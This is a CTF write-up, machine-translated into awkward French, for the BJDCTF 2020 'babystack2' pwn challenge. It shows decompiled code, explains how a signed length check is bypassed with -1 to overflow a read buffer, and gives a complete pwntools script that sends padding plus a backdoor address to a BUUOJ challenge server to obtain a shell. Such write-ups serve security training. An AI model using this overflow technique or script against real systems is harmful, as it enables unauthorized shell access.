当前位置:网站首页>[CTF] bjdctf 2020 Bar _ Bacystack2
[CTF] bjdctf 2020 Bar _ Bacystack2
2022-07-02 00:18:00 【Delta Hell】
Analyse du sujet
Décompiler,Rechercher des vulnérabilités
mainFonctions:
undefined8 main(void)
{
undefined local_18 [12];
uint local_c;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
local_c = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let\'s try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf(&DAT_004009c1,&local_c);
if (10 < (int)local_c) {
puts("Oops,u name is too long!");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("[+]What\'s u name?");
read(0,local_18,(ulong)local_c);
return 0;
}
backdoorFonctions:
undefined8 backdoor(void)
{
system("/bin/sh");
return 1;
}
Le sujet est clair. , La fonction porte arrière est déjà fournie , Il suffit de sauter. .
Regarde encoremainFonctions,read La fonction est évidemment un point d'utilisation ,Utiliser des variableslocal_c Pour créer un débordement .
Bien sûr.,Ce n'est pas si simple., Jugement avec limite de longueur avant
if (10 < (int)local_c)
Mais,C'est aussi simple.,Pas vrai? Débordement de plastique , Nombre entier négatif , C'est tout. ~~~
Il s'est avéré,C'est tout à fait vrai., Mais le processus est trop tortueux ,Description simple:
Le débordement local échouera ,InubuntuAllez.,Entrée-1,readRenvoie directement;InwindowsExpérience supérieure,Entrée-1,read La fenêtre apparaîtra ,Conseils
buf len < INT_MAXConditions non remplies, C'est évident. ,read Limite d'entrée . Ça fait longtemps. , Aucune solution trouvée , Parce que la limite de longueur est dépassée ,
Doit utiliser un nombre négatif , Sinon, il ne peut pas déborder. ,Et même siINT_MIN,Convertir en nombre non signé,Toujours.2147483648,Toujours> INT_MAX;Un instant.
Je doute de la vie. .
Comment résoudre le problème
La pensée est le processus d'analyse du sujet ci - dessus ,Tout à fait., Vérification directe de la cible oui OKDe,-1 Peut dépasser la limite de longueur ,En même tempsreadPas d'erreur(Pleurer sans larmes)
from pwn import *
sh = connect("node4.buuoj.cn",27462)
sh.recvuntil("name:\n")
print("recv name length")
sh.sendline('-1'.encode())
print("send name length")
sh.recvline()
pad = 'A'*24
payload = pad.encode() + p64(0x00400726)
sh.sendline(payload)
sh.interactive()
Conséquences de l'incapacité de valider localement , C'est la longueur du débordement. .
Résumé
Quand les idées vont bien , Détecteur de cibles en temps opportun . Mais il est intéressant d'ajuster la machine. , Bien qu'aucun résultat final n'ait été trouvé ,Par exemple,ubuntuAllez.,J'ai écrit un test.demo, Supprimer la vérification de la longueur ,RésultatsreadPas plus de3652Pas de problème,Heures supplémentaireserrnoJe vais le signalerBad address,Suivez - moi.windows Ce n'est pas pareil. ,Mais3652 Ça n'a aucun sens. , Je doute encore de la vie. ~~~ C'est fini. , Il y a un ton à l'arrière. glibc On verra ça plus tard. .
边栏推荐
- js 公共库 cdn 推荐
- It's nothing to be utilitarian!
- Key points of security agreement
- Digital transformation has a long way to go, so how to take the key first step
- The origin of usb-if Association and various interfaces
- PyTorch学习记录
- MySQL: the difference between insert ignore, insert and replace
- . env. XXX file, with constant, but undefined
- Is it safe to choose mobile phone for stock trading account opening in Beijing?
- 13 MySQL constraint
猜你喜欢

Leetcode 96 différents arbres de recherche binaires

leetcode96不同的二叉搜索树

Leetcode96 different binary search trees

LDR6035智能蓝牙音响可充可放(5.9.12.15.20V)快充快放设备充电

RPA tutorial 01: Excel automation from introduction to practice

Huawei HMS core joins hands with hypergraph to inject new momentum into 3D GIS

Example explanation: move graph explorer to jupyterlab
![Jielizhi, production line assembly link [chapter]](/img/1d/d1736fad33c428e61f450aad512ce0.png)
Jielizhi, production line assembly link [chapter]

.env.xxx 文件,加了常量,卻undefined

PyTorch学习记录
随机推荐
启牛商学院给的证券账户安不安全?哪里可以开户
Halcon knowledge: an attempt of 3D reconstruction
ADO. Net SqlCommand object
求逆序数的三个方法
Ldr6035 smart Bluetooth audio can be charged and released (5.9.12.15.20v) fast charging and fast releasing device charging
Material design component - use bottomsheet to show extended content (I)
Guide d'installation du serveur SQL
Three methods of finding inverse numbers
Ldr6035 smart Bluetooth audio can continuously charge and discharge mobile devices
Operate database transactions with jpatractionmanager
RPA教程01:EXCEL自动化从入门到实操
Relevant settings of wechat applet cache expiration time (recommended)
【mysql 07】GPG key retrieval failed: “Couldn‘t open file /etc/pki/rpm-gpg/RPM-GPG-KEY-mysql-2022“
【模板】自适应辛普森积分
Learn online case practice
[QT] qtcreator uninstall and installation (abnormal state)
Heketi record
SQL数据分析之子查询的综合用法和案例题【耐心整理】
I would like to ask, which securities is better for securities account opening? Is it safe to open a mobile account?
Window sorting functions rank and deny for SQL data analysis_ rank、raw_ Number and lag, lead window offset function [usage sorting]